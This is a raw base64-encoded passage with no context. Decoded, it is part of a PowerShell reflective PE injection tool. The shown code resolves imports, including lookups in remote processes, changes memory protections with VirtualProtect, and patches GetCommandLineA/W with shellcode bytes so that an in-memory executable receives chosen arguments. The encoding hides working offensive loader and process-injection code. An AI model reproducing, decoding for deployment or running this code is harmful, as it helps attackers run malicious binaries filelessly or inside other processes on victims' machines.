WRkLVNpZ25lZEludEFzVW5zaWduZWQgKCRQRUluZm8uUEVIYW5kbGUpICgkSW1wb3J0RGVzY3JpcHRvci5GaXJzdFRodW5rKQ0KCQkJCVtJbnRQdHJdJE9yaWdpbmFsVGh1bmtSZWYgPSBBZGQtU2lnbmVkSW50QXNVbnNpZ25lZCAoJFBFSW5mby5QRUhhbmRsZSkgKCRJbXBvcnREZXNjcmlwdG9yLkNoYXJhY3RlcmlzdGljcykgI0NoYXJhY3RlcmlzdGljcyBpcyBvdmVybG9hZGVkIHdpdGggT3JpZ2luYWxGaXJzdFRodW5rDQoJCQkJW0ludFB0cl0kT3JpZ2luYWxUaHVua1JlZlZhbCA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OlB0clRvU3RydWN0dXJlKCRPcmlnaW5hbFRodW5rUmVmLCBbVHlwZV1bSW50UHRyXSkNCgkJCQkNCgkJCQl3aGlsZSAoJE9yaWdpbmFsVGh1bmtSZWZWYWwgLW5lIFtJbnRQdHJdOjpaZXJvKQ0KCQkJCXsNCgkJCQkJJFByb2NlZHVyZU5hbWUgPSAnJw0KCQkJCQkjQ29tcGFyZSB0aHVua1JlZlZhbCB0byBJTUFHRV9PUkRJTkFMX0ZMQUcsIHdoaWNoIGlzIGRlZmluZWQgYXMgMHg4MDAwMDAwMCBvciAweDgwMDAwMDAwMDAwMDAwMDAgZGVwZW5kaW5nIG9uIDMyYml0IG9yIDY0Yml0DQoJCQkJCSMJSWYgdGhlIHRvcCBiaXQgaXMgc2V0IG9uIGFuIGludCwgaXQgd2lsbCBiZSBuZWdhdGl2ZSwgc28gaW5zdGVhZCBvZiB3b3JyeWluZyBhYm91dCBjYXN0aW5nIHRoaXMgdG8gdWludA0KCQkJCQkjCWFuZCBkb2luZyB0aGUgY29tcGFyaXNvbiwganVzdCBzZWUgaWYgaXQgaXMgbGVzcyB0aGFuIDANCgkJCQkJW0ludFB0cl0kTmV3VGh1bmtSZWYgPSBbSW50UHRyXTo6WmVybw0KCQkJCQlpZihbSW50NjRdJE9yaWdpbmFsVGh1bmtSZWZWYWwgLWx0IDApDQoJCQkJCXsNCgkJCQkJCSRQcm9jZWR1cmVOYW1lID0gW0ludDY0XSRPcmlnaW5hbFRodW5rUmVmVmFsIC1iYW5kIDB4ZmZmZiAjVGhpcyBpcyBhY3R1YWxseSBhIGxvb2t1cCBieSBvcmRpbmFsDQoJCQkJCX0NCgkJCQkJZWxzZQ0KCQkJCQl7DQoJCQkJCQlbSW50UHRyXSRTdHJpbmdBZGRyID0gQWRkLVNpZ25lZEludEFzVW5zaWduZWQgKCRQRUluZm8uUEVIYW5kbGUpICgkT3JpZ2luYWxUaHVua1JlZlZhbCkNCgkJCQkJCSRTdHJpbmdBZGRyID0gQWRkLVNpZ25lZEludEFzVW5zaWduZWQgJFN0cmluZ0FkZHIgKFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OlNpemVPZihbVHlwZV1bVUludDE2XSkpDQoJCQkJCQkkUHJvY2VkdXJlTmFtZSA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OlB0clRvU3RyaW5nQW5zaSgkU3RyaW5nQWRkcikNCgkJCQkJfQ0KCQkJCQkNCgkJCQkJaWYgKCRSZW1vdGVMb2FkaW5nIC1lcSAkdHJ1ZSkNCgkJCQkJew0KCQkJCQkJW0ludFB0cl0kTmV3VGh1bmtSZWYgPSBHZXQtUmVtb3RlUHJvY0FkZHJlc3MgLVJlbW90ZVByb2NIYW5kbGUgJFJlbW90ZVByb2NIYW5kbGUgLVJlbW90ZURsbEhhbmRsZSAkSW1wb3J0RGxsSGFuZGxlIC1GdW5jdGlvbk5hbWUgJFByb2NlZHVyZU5hbWUNCgkJCQkJfQ0KCQkJCQllbHNlDQoJCQkJCXsNCgkJCQkJCVtJbnRQdHJdJE5ld1RodW5rUmVmID0gJFdpbjMyRnVuY3Rpb25zLkdldFByb2NBZGRyZXNzLkludm9rZSgkSW1wb3J0RGxsSGFuZGxlLCAkUHJvY2VkdXJlTmFtZSkNCgkJCQkJfQ0KCQkJCQkNCgkJCQkJaWYgKCROZXdUaHVua1JlZiAtZXEgJG51bGwgLW9yICROZXdUaHVua1JlZiAtZXEgW0ludFB0cl06Olplcm8pDQoJCQkJCXsNCgkJCQkJCVRocm93ICJOZXcgZnVuY3Rpb24gcmVmZXJlbmNlIGlzIG51bGwsIHRoaXMgaXMgYWxtb3N0IGNlcnRhaW5seSBhIGJ1ZyBpbiB0aGlzIHNjcmlwdC4gRnVuY3Rpb246ICRQcm9jZWR1cmVOYW1lLiBEbGw6ICRJbXBvcnREbGxQYXRoIg0KCQkJCQl9DQoNCgkJCQkJW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6U3RydWN0dXJlVG9QdHIoJE5ld1RodW5rUmVmLCAkVGh1bmtSZWYsICRmYWxzZSkNCgkJCQkJDQoJCQkJCSRUaHVua1JlZiA9IEFkZC1TaWduZWRJbnRBc1Vuc2lnbmVkIChbSW50NjRdJFRodW5rUmVmKSAoW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6U2l6ZU9mKFtUeXBlXVtJbnRQdHJdKSkNCgkJCQkJW0ludFB0cl0kT3JpZ2luYWxUaHVua1JlZiA9IEFkZC1TaWduZWRJbnRBc1Vuc2lnbmVkIChbSW50NjRdJE9yaWdpbmFsVGh1bmtSZWYpIChbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpTaXplT2YoW1R5cGVdW0ludFB0cl0pKQ0KCQkJCQlbSW50UHRyXSRPcmlnaW5hbFRodW5rUmVmVmFsID0gW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6UHRyVG9TdHJ1Y3R1cmUoJE9yaWdpbmFsVGh1bmtSZWYsIFtUeXBlXVtJbnRQdHJdKQ0KCQkJCX0NCgkJCQkNCgkJCQkkSW1wb3J0RGVzY3JpcHRvclB0ciA9IEFkZC1TaWduZWRJbnRBc1Vuc2lnbmVkICgkSW1wb3J0RGVzY3JpcHRvclB0cikgKFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OlNpemVPZihbVHlwZV0kV2luMzJUeXBlcy5JTUFHRV9JTVBPUlRfREVTQ1JJUFRPUikpDQoJCQl9DQoJCX0NCgl9DQoNCglGdW5jdGlvbiBHZXQtVmlydHVhbFByb3RlY3RWYWx1ZQ0KCXsNCgkJUGFyYW0oDQoJCVtQYXJhbWV0ZXIoUG9zaXRpb24gPSAwLCBNYW5kYXRvcnkgPSAkdHJ1ZSldDQoJCVtVSW50MzJdDQoJCSRTZWN0aW9uQ2hhcmFjdGVyaXN0aWNzDQoJCSkNCgkJDQoJCSRQcm90ZWN0aW9uRmxhZyA9IDB4MA0KCQlpZiAoKCRTZWN0aW9uQ2hhcmFjdGVyaXN0aWNzIC1iYW5kICRXaW4zMkNvbnN0YW50cy5JTUFHRV9TQ05fTUVNX0VYRUNVVEUpIC1ndCAwKQ0KCQl7DQoJCQlpZiAoKCRTZWN0aW9uQ2hhcmFjdGVyaXN0aWNzIC1iYW5kICRXaW4zMkNvbnN0YW50cy5JTUFHRV9TQ05fTUVNX1JFQUQpIC1ndCAwKQ0KCQkJew0KCQkJCWlmICgoJFNlY3Rpb25DaGFyYWN0ZXJpc3RpY3MgLWJhbmQgJFdpbjMyQ29uc3RhbnRzLklNQUdFX1NDTl9NRU1fV1JJVEUpIC1ndCAwKQ0KCQkJCXsNCgkJCQkJJFByb3RlY3Rpb25GbGFnID0gJFdpbjMyQ29uc3RhbnRzLlBBR0VfRVhFQ1VURV9SRUFEV1JJVEUNCgkJCQl9DQoJCQkJZWxzZQ0KCQkJCXsNCgkJCQkJJFByb3RlY3Rpb25GbGFnID0gJFdpbjMyQ29uc3RhbnRzLlBBR0VfRVhFQ1VURV9SRUFEDQoJCQkJfQ0KCQkJfQ0KCQkJZWxzZQ0KCQkJew0KCQkJCWlmICgoJFNlY3Rpb25DaGFyYWN0ZXJpc3RpY3MgLWJhbmQgJFdpbjMyQ29uc3RhbnRzLklNQUdFX1NDTl9NRU1fV1JJVEUpIC1ndCAwKQ0KCQkJCXsNCgkJCQkJJFByb3RlY3Rpb25GbGFnID0gJFdpbjMyQ29uc3RhbnRzLlBBR0VfRVhFQ1VURV9XUklURUNPUFkNCgkJCQl9DQoJCQkJZWxzZQ0KCQkJCXsNCgkJCQkJJFByb3RlY3Rpb25GbGFnID0gJFdpbjMyQ29uc3RhbnRzLlBBR0VfRVhFQ1VURQ0KCQkJCX0NCgkJCX0NCgkJfQ0KCQllbHNlDQoJCXsNCgkJCWlmICgoJFNlY3Rpb25DaGFyYWN0ZXJpc3RpY3MgLWJhbmQgJFdpbjMyQ29uc3RhbnRzLklNQUdFX1NDTl9NRU1fUkVBRCkgLWd0IDApDQoJCQl7DQoJCQkJaWYgKCgkU2VjdGlvbkNoYXJhY3RlcmlzdGljcyAtYmFuZCAkV2luMzJDb25zdGFudHMuSU1BR0VfU0NOX01FTV9XUklURSkgLWd0IDApDQoJCQkJew0KCQkJCQkkUHJvdGVjdGlvbkZsYWcgPSAkV2luMzJDb25zdGFudHMuUEFHRV9SRUFEV1JJVEUNCgkJCQl9DQoJCQkJZWxzZQ0KCQkJCXsNCgkJCQkJJFByb3RlY3Rpb25GbGFnID0gJFdpbjMyQ29uc3RhbnRzLlBBR0VfUkVBRE9OTFkNCgkJCQl9DQoJCQl9DQoJCQllbHNlDQoJCQl7DQoJCQkJaWYgKCgkU2VjdGlvbkNoYXJhY3RlcmlzdGljcyAtYmFuZCAkV2luMzJDb25zdGFudHMuSU1BR0VfU0NOX01FTV9XUklURSkgLWd0IDApDQoJCQkJew0KCQkJCQkkUHJvdGVjdGlvbkZsYWcgPSAkV2luMzJDb25zdGFudHMuUEFHRV9XUklURUNPUFkNCgkJCQl9DQoJCQkJZWxzZQ0KCQkJCXsNCgkJCQkJJFByb3RlY3Rpb25GbGFnID0gJFdpbjMyQ29uc3RhbnRzLlBBR0VfTk9BQ0NFU1MNCgkJCQl9DQoJCQl9DQoJCX0NCgkJDQoJCWlmICgoJFNlY3Rpb25DaGFyYWN0ZXJpc3RpY3MgLWJhbmQgJFdpbjMyQ29uc3RhbnRzLklNQUdFX1NDTl9NRU1fTk9UX0NBQ0hFRCkgLWd0IDApDQoJCXsNCgkJCSRQcm90ZWN0aW9uRmxhZyA9ICRQcm90ZWN0aW9uRmxhZyAtYm9yICRXaW4zMkNvbnN0YW50cy5QQUdFX05PQ0FDSEUNCgkJfQ0KCQkNCgkJcmV0dXJuICRQcm90ZWN0aW9uRmxhZw0KCX0NCg0KCUZ1bmN0aW9uIFVwZGF0ZS1NZW1vcnlQcm90ZWN0aW9uRmxhZ3MNCgl7DQoJCVBhcmFtKA0KCQlbUGFyYW1ldGVyKFBvc2l0aW9uID0gMCwgTWFuZGF0b3J5ID0gJHRydWUpXQ0KCQlbU3lzdGVtLk9iamVjdF0NCgkJJFBFSW5mbywNCgkJDQoJCVtQYXJhbWV0ZXIoUG9zaXRpb24gPSAxLCBNYW5kYXRvcnkgPSAkdHJ1ZSldDQoJCVtTeXN0ZW0uT2JqZWN0XQ0KCQkkV2luMzJGdW5jdGlvbnMsDQoJCQ0KCQlbUGFyYW1ldGVyKFBvc2l0aW9uID0gMiwgTWFuZGF0b3J5ID0gJHRydWUpXQ0KCQlbU3lzdGVtLk9iamVjdF0NCgkJJFdpbjMyQ29uc3RhbnRzLA0KCQkNCgkJW1BhcmFtZXRlcihQb3NpdGlvbiA9IDMsIE1hbmRhdG9yeSA9ICR0cnVlKV0NCgkJW1N5c3RlbS5PYmplY3RdDQoJCSRXaW4zMlR5cGVzDQoJCSkNCgkJDQoJCWZvciggJGkgPSAwOyAkaSAtbHQgJFBFSW5mby5JTUFHRV9OVF9IRUFERVJTLkZpbGVIZWFkZXIuTnVtYmVyT2ZTZWN0aW9uczsgJGkrKykNCgkJew0KCQkJW0ludFB0cl0kU2VjdGlvbkhlYWRlclB0ciA9IFtJbnRQdHJdKEFkZC1TaWduZWRJbnRBc1Vuc2lnbmVkIChbSW50NjRdJFBFSW5mby5TZWN0aW9uSGVhZGVyUHRyKSAoJGkgKiBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpTaXplT2YoW1R5cGVdJFdpbjMyVHlwZXMuSU1BR0VfU0VDVElPTl9IRUFERVIpKSkNCgkJCSRTZWN0aW9uSGVhZGVyID0gW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6UHRyVG9TdHJ1Y3R1cmUoJFNlY3Rpb25IZWFkZXJQdHIsIFtUeXBlXSRXaW4zMlR5cGVzLklNQUdFX1NFQ1RJT05fSEVBREVSKQ0KCQkJW0ludFB0cl0kU2VjdGlvblB0ciA9IEFkZC1TaWduZWRJbnRBc1Vuc2lnbmVkICgkUEVJbmZvLlBFSGFuZGxlKSAoJFNlY3Rpb25IZWFkZXIuVmlydHVhbEFkZHJlc3MpDQoJCQkNCgkJCVtVSW50MzJdJFByb3RlY3RGbGFnID0gR2V0LVZpcnR1YWxQcm90ZWN0VmFsdWUgJFNlY3Rpb25IZWFkZXIuQ2hhcmFjdGVyaXN0aWNzDQoJCQlbVUludDMyXSRTZWN0aW9uU2l6ZSA9ICRTZWN0aW9uSGVhZGVyLlZpcnR1YWxTaXplDQoJCQkNCgkJCVtVSW50MzJdJE9sZFByb3RlY3RGbGFnID0gMA0KCQkJVGVzdC1NZW1vcnlSYW5nZVZhbGlkIC1EZWJ1Z1N0cmluZyAiVXBkYXRlLU1lbW9yeVByb3RlY3Rpb25GbGFnczo6VmlydHVhbFByb3RlY3QiIC1QRUluZm8gJFBFSW5mbyAtU3RhcnRBZGRyZXNzICRTZWN0aW9uUHRyIC1TaXplICRTZWN0aW9uU2l6ZSB8IE91dC1OdWxsDQoJCQkkU3VjY2VzcyA9ICRXaW4zMkZ1bmN0aW9ucy5WaXJ0dWFsUHJvdGVjdC5JbnZva2UoJFNlY3Rpb25QdHIsICRTZWN0aW9uU2l6ZSwgJFByb3RlY3RGbGFnLCBbUmVmXSRPbGRQcm90ZWN0RmxhZykNCgkJCWlmICgkU3VjY2VzcyAtZXEgJGZhbHNlKQ0KCQkJew0KCQkJCVRocm93ICJVbmFibGUgdG8gY2hhbmdlIG1lbW9yeSBwcm90ZWN0aW9uIg0KCQkJfQ0KCQl9DQoJfQ0KCQ0KCSNUaGlzIGZ1bmN0aW9uIG92ZXJ3cml0ZXMgR2V0Q29tbWFuZExpbmUgYW5kIEV4aXRUaHJlYWQgd2hpY2ggYXJlIG5lZWRlZCB0byByZWZsZWN0aXZlbHkgbG9hZCBhbiBFWEUNCgkjUmV0dXJucyBhbiBvYmplY3Qgd2l0aCBhZGRyZXNzZXMgdG8gY29waWVzIG9mIHRoZSBieXRlcyB0aGF0IHdlcmUgb3ZlcndyaXR0ZW4gKGFuZCB0aGUgY291bnQpDQoJRnVuY3Rpb24gVXBkYXRlLUV4ZUZ1bmN0aW9ucw0KCXsNCgkJUGFyYW0oDQoJCVtQYXJhbWV0ZXIoUG9zaXRpb24gPSAwLCBNYW5kYXRvcnkgPSAkdHJ1ZSldDQoJCVtTeXN0ZW0uT2JqZWN0XQ0KCQkkUEVJbmZvLA0KCQkNCgkJW1BhcmFtZXRlcihQb3NpdGlvbiA9IDEsIE1hbmRhdG9yeSA9ICR0cnVlKV0NCgkJW1N5c3RlbS5PYmplY3RdDQoJCSRXaW4zMkZ1bmN0aW9ucywNCgkJDQoJCVtQYXJhbWV0ZXIoUG9zaXRpb24gPSAyLCBNYW5kYXRvcnkgPSAkdHJ1ZSldDQoJCVtTeXN0ZW0uT2JqZWN0XQ0KCQkkV2luMzJDb25zdGFudHMsDQoJCQ0KCQlbUGFyYW1ldGVyKFBvc2l0aW9uID0gMywgTWFuZGF0b3J5ID0gJHRydWUpXQ0KCQlbU3RyaW5nXQ0KCQkkRXhlQXJndW1lbnRzLA0KCQkNCgkJW1BhcmFtZXRlcihQb3NpdGlvbiA9IDQsIE1hbmRhdG9yeSA9ICR0cnVlKV0NCgkJW0ludFB0cl0NCgkJJEV4ZURvbmVCeXRlUHRyDQoJCSkNCgkJDQoJCSNUaGlzIHdpbGwgYmUgYW4gYXJyYXkgb2YgYXJyYXlzLiBUaGUgaW5uZXIgYXJyYXkgd2lsbCBjb25zaXN0IG9mOiBAKCREZXN0QWRkciwgJFNvdXJjZUFkZHIsICRCeXRlQ291bnQpLiBUaGlzIGlzIHVzZWQgdG8gcmV0dXJuIG1lbW9yeSB0byBpdHMgb3JpZ2luYWwgc3RhdGUuDQoJCSRSZXR1cm5BcnJheSA9IEAoKSANCgkJDQoJCSRQdHJTaXplID0gW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6U2l6ZU9mKFtUeXBlXVtJbnRQdHJdKQ0KCQlbVUludDMyXSRPbGRQcm90ZWN0RmxhZyA9IDANCgkJDQoJCVtJbnRQdHJdJEtlcm5lbDMySGFuZGxlID0gJFdpbjMyRnVuY3Rpb25zLkdldE1vZHVsZUhhbmRsZS5JbnZva2UoIktlcm5lbDMyLmRsbCIpDQoJCWlmICgkS2VybmVsMzJIYW5kbGUgLWVxIFtJbnRQdHJdOjpaZXJvKQ0KCQl7DQoJCQl0aHJvdyAiS2VybmVsMzIgaGFuZGxlIG51bGwiDQoJCX0NCgkJDQoJCVtJbnRQdHJdJEtlcm5lbEJhc2VIYW5kbGUgPSAkV2luMzJGdW5jdGlvbnMuR2V0TW9kdWxlSGFuZGxlLkludm9rZSgiS2VybmVsQmFzZS5kbGwiKQ0KCQlpZiAoJEtlcm5lbEJhc2VIYW5kbGUgLWVxIFtJbnRQdHJdOjpaZXJvKQ0KCQl7DQoJCQl0aHJvdyAiS2VybmVsQmFzZSBoYW5kbGUgbnVsbCINCgkJfQ0KDQoJCSMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCgkJI0ZpcnN0IG92ZXJ3cml0ZSB0aGUgR2V0Q29tbWFuZExpbmUoKSBmdW5jdGlvbi4gVGhpcyBpcyB0aGUgZnVuY3Rpb24gdGhhdCBpcyBjYWxsZWQgYnkgYSBuZXcgcHJvY2VzcyB0byBnZXQgdGhlIGNvbW1hbmQgbGluZSBhcmdzIHVzZWQgdG8gc3RhcnQgaXQuDQoJCSMJV2Ugb3ZlcndyaXRlIGl0IHdpdGggc2hlbGxjb2RlIHRvIHJldHVybiBhIHBvaW50ZXIgdG8gdGhlIHN0cmluZyBFeGVBcmd1bWVudHMsIGFsbG93aW5nIHVzIHRvIHBhc3MgdGhlIGV4ZSBhbnkgYXJncyB3ZSB3YW50Lg0KCQkkQ21kTGluZVdBcmdzUHRyID0gW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6U3RyaW5nVG9IR2xvYmFsVW5pKCRFeGVBcmd1bWVudHMpDQoJCSRDbWRMaW5lQUFyZ3NQdHIgPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpTdHJpbmdUb0hHbG9iYWxBbnNpKCRFeGVBcmd1bWVudHMpDQoJDQoJCVtJbnRQdHJdJEdldENvbW1hbmRMaW5lQUFkZHIgPSAkV2luMzJGdW5jdGlvbnMuR2V0UHJvY0FkZHJlc3MuSW52b2tlKCRLZXJuZWxCYXNlSGFuZGxlLCAiR2V0Q29tbWFuZExpbmVBIikNCgkJW0ludFB0cl0kR2V0Q29tbWFuZExpbmVXQWRkciA9ICRXaW4zMkZ1bmN0aW9ucy5HZXRQcm9jQWRkcmVzcy5JbnZva2UoJEtlcm5lbEJhc2VIYW5kbGUsICJHZXRDb21tYW5kTGluZVciKQ0KDQoJCWlmICgkR2V0Q29tbWFuZExpbmVBQWRkciAtZXEgW0ludFB0cl06Olplcm8gLW9yICRHZXRDb21tYW5kTGluZVdBZGRyIC1lcSBbSW50UHRyXTo6WmVybykNCgkJew0KCQkJdGhyb3cgIkdldENvbW1hbmRMaW5lIHB0ciBudWxsLiBHZXRDb21tYW5kTGluZUE6ICRHZXRDb21tYW5kTGluZUFBZGRyLiBHZXRDb21tYW5kTGluZVc6ICRHZXRDb21tYW5kTGluZVdBZGRyIg0KCQl9DQoNCgkJI1ByZXBhcmUgdGhlIHNoZWxsY29kZQ0KCQlbQnl0ZVtdXSRTaGVsbGNvZGUxID0gQCgpDQoJCWlmICgkUHRyU2l6ZSAtZXEgOCkNCgkJew0KCQkJJFNoZWxsY29kZTEgKz0gMHg0OAkjNjRiaXQgc2hlbGxjb2RlIGhhcyB0aGUgMHg0OCBiZWZvcmUgdGhlIDB4YjgNCgkJfQ0KCQkkU2hlbGxjb2RlMSArPSAweGI4DQoJCQ0KCQlbQnl0ZVtdXSRTaGVsbGNvZGUyID0gQCgweGMzKQ0KCQkkVG90YWxTaXplID0gJFNoZWxsY29kZTEuTGVuZ3RoICsgJFB0clNpemUgKyAkU2hlbGxjb2RlMi5MZW5ndGgNCgkJDQoJCQ0KCQkjTWFrZSBjb3B5IG9mIEdldENvbW1hbmRMaW5lQSBhbmQgR2V0Q29tbWFuZExpbmVXDQoJCSRHZXRDb21tYW5kTGluZUFPcmlnQnl0ZXNQdHIgPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpBbGxvY0hHbG9iYWwoJFRvdGFsU2l6ZSkNCgkJJEdldENvbW1hbmRMaW5lV09yaWdCeXRlc1B0ciA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OkFsbG9jSEdsb2JhbCgkVG90YWxTaXplKQ0KCQkkV2luMzJGdW5jdGlvbnMubWVtY3B5Lkludm9rZSgkR2V0Q29tbWFuZExpbmVBT3JpZ0J5dGVzUHRyLCAkR2V0Q29tbWFuZExpbmVBQWRkciwgW1VJbnQ2NF0kVG90YWxTaXplKSB8IE91dC1OdWxsDQoJCSRXaW4zMkZ1bmN0aW9ucy5tZW1jcHkuSW52b2tlKCRHZXRDb21tYW5kTGluZVdPcmlnQnl0ZXNQdHIsICRHZXRDb21tYW5kTGluZVdBZGRyLCBbVUludDY0XSRUb3RhbFNpemUpIHwgT3V0LU51bGwNCgkJJFJldHVybkFycmF5ICs9ICwoJEdldENvbW1hbmRMaW5lQUFkZHIsICRHZXRDb21tYW5kTGluZUFPcmlnQnl0ZXNQdHIsICRUb3RhbFNpemUpDQoJCSRSZXR1cm5BcnJheSArPSAsKCRHZXRDb21tYW5kTGluZVdBZGRyLCAkR2V0Q29tbWFuZExpbmVXT3JpZ0J5dGVzUHRyLCAkVG90YWxTaXplKQ0KDQoJCSNPdmVyd3JpdGUgR2V0Q29tbWFuZExpbmVBDQoJCVtVSW50MzJdJE9sZFByb3RlY3RGbGFnID0gMA0KCQkkU3VjY2VzcyA9ICRXaW4zMkZ1bmN0aW9ucy5WaXJ0dWFsUHJvdGVjdC5JbnZva2UoJEdldENvbW1hbmRMaW5lQUFkZHIsIFtVSW50MzJdJFRvdGFsU2l6ZSwgW1VJbnQzMl0oJFdpbjMyQ29uc3RhbnRzLlBBR0VfRVhFQ1VURV9SRUFEV1JJVEUpLCBbUmVmXSRPbGRQcm90ZWN0RmxhZykNCgkJaWYgKCRTdWNjZXNzID0gJGZhbHNlKQ0KCQl7DQoJCQl0aHJvdyAiQ2FsbCB0byBWaXJ0dWFsUHJvdGVjdCBmYWlsZWQiDQoJCX0NCgkJDQoJCSRHZXRDb21tYW5kTGluZUFBZGRyVGVtcCA9ICRHZXRDb21tYW5kTGluZUFBZGRyDQoJCVdyaXRlLUJ5dGVzVG9NZW1vcnkgLUJ5dGVzICRTaGVsbGNvZGUxIC1NZW1vcnlBZGRyZXNzICRHZXRDb21tYW5kTGluZUFBZGRyVGVtcA0KCQkkR2V0Q29tbWFuZExpbmVBQWRkclRlbXAgPSBBZGQtU2lnbmVkSW50QXNVbnNpZ25lZCAkR2V0Q29tbWFuZExpbmVBQWRkclRlbXAgKCRTaGVsbGNvZGUxLkxlbmd0aCkNCgkJW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6U3RydWN0dXJlVG9QdHIoJENtZExpbmVBQXJnc1B0ciwgJEdldENvbW1hbmRMaW5lQUFkZHJUZW1wLCAkZmFsc2UpDQoJCSRHZXRDb21tYW5kTGluZUFBZGRyVGVtcCA9IEFkZC1TaWduZWRJbnRBc1Vuc2lnbmVkICRHZXRDb21tYW5kTGluZUFBZGRyVGVtcCAkUHRyU2l6ZQ0KCQlXcml0ZS1CeXRlc1RvTWVtb3J5IC1CeXRlcyAkU2hlbGxjb2RlMiAtTWVtb3J5QWRkcmVzcyAkR2V0Q29tbWFuZExpbmVBQWRkclRlbXANCgkJDQoJCSRXaW4zMkZ1bmN0aW9ucy5WaXJ0dWFsUHJvdGVjdC5JbnZva2UoJEdldENvbW1hbmRMaW5lQUFkZHIsIFtVSW50MzJdJFRvdGFsU2l6ZSwgW1VJbnQzMl0kT2xkUHJvdGVjdEZsYWcsIFtSZWZdJE9sZFByb3RlY3RGbGFnKSB8IE91dC1OdWxsDQoJCQ0KCQkNCgkJI092ZXJ3cml0ZSBHZXRDb21tYW5kTGluZVcNCgkJW1VJbnQzMl0kT2xkUHJvdGVjdEZsYWcgPSAwDQoJCSRTdWNjZXNzID0gJFdpbjMyRnVuY3Rpb25zLlZpcnR1YWxQcm90ZWN0Lkludm9rZSgkR2V0Q29tbWFuZExpbmVXQWRkciwgW1VJbnQzMl0kVG90YWxTaXplLCBbVUludDMyXSgkV2luMzJDb25zdGFudHMuUEFHRV9FWEVDVVRFX1JFQURXUklURSksIFtSZWZdJE9sZFByb3RlY3RGbGFnKQ0KCQlpZiAoJFN1Y2Nlc3MgPSAkZmFsc2UpDQoJCXsNCgkJCXRocm93ICJDYWxsIHRvIFZpcnR1YWxQcm90ZWN0IGZhaWxlZCINCgkJfQ0KCQkNCgkJJEdldENvbW1hbmRMaW5lV0FkZHJUZW1wID0gJEdldENvbW1hbmRMaW5lV0FkZHINCgkJV3JpdGUtQnl0ZXNUb01lbW9yeSAtQnl0ZXMgJFNoZWxsY29kZTEgLU1lbW9yeUFkZHJlc3MgJEdldENvbW1hbmRMaW5lV0FkZHJUZW1wDQoJCSRHZXRDb21tYW5kTGluZVdBZGRyVGVtcCA9IEFkZC1TaWduZWRJbnRBc1Vuc2lnbmVkICRHZXRDb21tYW5kTGluZVdBZGRyVGVtcCAoJFNoZWxsY29kZTEuTGVuZ3RoKQ0KCQlbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpTdHJ1Y3R1cmVUb1B0cigkQ21kTGluZVdBcmdzUHRyLCAkR2V0Q29tbWFuZExpbmVXQWRkclRlbXAsICRmYWxzZSkNCgkJJEdldENvbW1hbmRMaW5lV0FkZHJUZW1wID0gQWRkLVNpZ25lZEludEFzVW5zaWduZWQgJEdldENvbW1hbmRMaW5lV0FkZHJUZW1wICRQdHJTaXplDQoJCVdyaXRlLUJ5dGVzVG9NZW1vcnkgLUJ5dGVzICRTaGVsbGNvZGUyIC1NZW1vcnlBZGRyZXNzICRHZXRDb21tYW5kTGluZVdBZGRyVGVtcA0KCQkNCgkJJFdpbjMyRnVuY3Rpb25zLlZpcnR1YWxQcm90ZWN0Lkludm9rZSgkR2V0Q29tbWFuZExpbmVXQWRkciwgW1VJbnQzMl0kVG90YWxTaXplLCBbVUludDMyXSRPbGRQcm90ZWN0RmxhZywgW1JlZl0kT2xkUHJvdGVjdEZsYWcpIHwgT3V0LU51bGwNCgkJIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KCQkNCgkJDQoJCSMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCgkJI0ZvciBDKysgc3R1ZmYgdGhhdCBpcyBjb21waWxlZCB3aXRoIHZpc3VhbCBzdHVkaW8gYXMgIm11bHRpdGhyZWFkZWQgRExMIiwgdGhlIGFib3ZlIG1ldGhvZCBvZiBvdmVyd3JpdGluZyBHZXRDb21tYW5kTGluZSBkb2Vzbid0IHdvcmsuDQoJCSMJSSBkb24ndCBrbm93IHdoeSBleGFjdGx5Li4gQnV0IHRoZSBtc3ZjciBETEwgdGhhdCBhICJETEwgY29tcGlsZWQgZXhlY3V0YWJsZSIgaW1wb3J0cyBoYXMgYW4gZXhwb3J0IGNhbGxlZCBfYWNtZGxuIGFuZCBfd2NtZGxuLg0KCQkjCUl0IGFwcGVhcnMgdG8gY2FsbCBHZXRDb21tYW5kTGluZSBhbmQgc3RvcmUgdGhlIHJlc3VsdCBpbiB0aGlzIHZhci4gVGhlbiB3aGVuIHlvdSBjYWxsIF9fd2dldGNtZGxuIGl0IHBhcnNlcyBhbmQgcmV0dXJucyB0aGUNCgkJIwlhcmd2IGFuZCBhcmdjIHZhbHVlcyBzdG9yZWQgaW4gdGhlc2UgdmFyaWFibGVzLiBTbyB0aGUgZWFzeSB0aGluZyB0byBkbyBpcyBqdXN0IG92ZXJ3cml0ZSB